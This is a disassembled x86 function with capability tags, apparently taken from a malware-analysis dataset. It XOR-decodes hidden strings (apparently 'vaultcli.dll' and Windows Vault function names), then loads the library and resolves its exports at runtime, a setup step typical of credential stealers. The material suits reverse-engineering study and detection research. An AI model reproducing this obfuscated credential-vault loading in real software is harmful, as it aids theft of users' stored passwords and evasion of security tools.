Function at 0x43d6e0
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
cmp byte [0x544063], 0
jne 0x43d968
mov dword [ebp - 0xe], 0x869c8991
xor ecx, ecx
mov dword [ebp - 0xa], 0x87818f9f
mov dword [ebp - 6], 0x9e9d94c1
mov word [ebp - 2], 0x100
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0xe], al
inc ecx
cmp ecx, 0xc
jb 0x43d710
lea eax, [ebp - 0xe]
mov byte [ebp - 1], 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, eax
mov dword [0x544048], edx
test edx, edx
je 0x43d968
mov dword [ebp - 0x39], 0x869c89b1
xor ecx, ecx
mov dword [ebp - 0x35], 0x9b83a99f
mov dword [ebp - 0x31], 0x93839582
mov dword [ebp - 0x2d], 0x82bc9187
mov dword [ebp - 0x29], 0x8a9592
mov byte [ebp - 0x25], 1
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x39], al
inc ecx
cmp ecx, 0x13
jb 0x43d764
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x39]
push eax
push edx
mov byte [ebp - 0x25], 0
call esi
mov dword [0x544064], eax
xor ecx, ecx
mov dword [ebp - 0x24], 0x869c89b1
mov dword [ebp - 0x20], 0x9b83a99f
mov dword [ebp - 0x1c], 0x93839582
mov dword [ebp - 0x18], 0x97a39187
mov dword [ebp - 0x14], 0x898d9482
mov word [ebp - 0x10], 0x100
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0x14
jb 0x43d7b3
lea eax, [ebp - 0x24]
mov byte [ebp - 0xf], 0
push eax
push dword [0x544048]
call esi
mov dword [0x54405c], eax
xor ecx, ecx
mov dword [ebp - 0xb], 0x869c89b1
mov dword [ebp - 7], 0x8b9faa9f
mov word [ebp - 3], 0x8a
mov byte [ebp - 1], 1
nop
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jb 0x43d7f0
lea eax, [ebp - 0xb]
mov byte [ebp - 1], 0
push eax
push dword [0x544048]
call esi
mov dword [0x544054], eax
xor ecx, ecx
mov dword [ebp - 0x1e], 0x869c89b1
mov dword [ebp - 0x1a], 0x8b9da39f
mov dword [ebp - 0x16], 0x8790a681
mov dword [ebp - 0x12], 0x100809f
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 0xe
jb 0x43d830
lea eax, [ebp - 0x1e]
mov byte [ebp - 0xf], 0
push eax
push dword [0x544048]
call esi
mov dword [0x544044], eax
xor ecx, ecx
mov dword [ebp - 0x35], 0x869c89b1
mov dword [ebp - 0x31], 0x8181af9f
mov dword [ebp - 0x2d], 0x93a7959c
mov dword [ebp - 0x29], 0x819886
mov byte [ebp - 0x25], 1
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x35], al
inc ecx
cmp ecx, 0xf
jb 0x43d874
lea eax, [ebp - 0x35]
mov byte [ebp - 0x25], 0
push eax
push dword [0x544048]
call esi
mov dword [0x544058], eax
xor ecx, ecx
mov dword [ebp - 0xe], 0x869c89b1
mov dword [ebp - 0xa], 0x9a88ab9f
mov dword [ebp - 6], 0x9f9484a6
mov word [ebp - 2], 0x100
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0xe], al
inc ecx
cmp ecx, 0xc
jb 0x43d8b3
lea eax, [ebp - 0xe]
mov byte [ebp - 1], 0
push eax
push dword [0x544048]
call esi
mov dword [0x544050], eax
xor ecx, ecx
mov dword [ebp - 0x1c], 0x869c89b1
mov dword [ebp - 0x18], 0x9a88ab9f
mov dword [ebp - 0x14], 0x9f9484a6
mov word [ebp - 0x10], 0x100
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 0xc
jb 0x43d8f2
lea eax, [ebp - 0x1c]
mov byte [ebp - 0xf], 0
push eax
push dword [0x544048]
call esi
cmp dword [0x544064], 0
mov dword [0x544070], eax
pop esi
je 0x43d95c
cmp dword [0x54405c], 0
je 0x43d95c
cmp dword [0x544054], 0
je 0x43d95c
cmp dword [0x544044], 0
je 0x43d95c
cmp dword [0x544058], 0
je 0x43d95c
cmp dword [0x544050], 0
je 0x43d95c
test eax, eax
je 0x43d95c
mov byte [0x544063], 1
mov al, 1
mov esp, ebp
pop ebp
ret
push dword [0x544048]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
mov esp, ebp
pop ebp
ret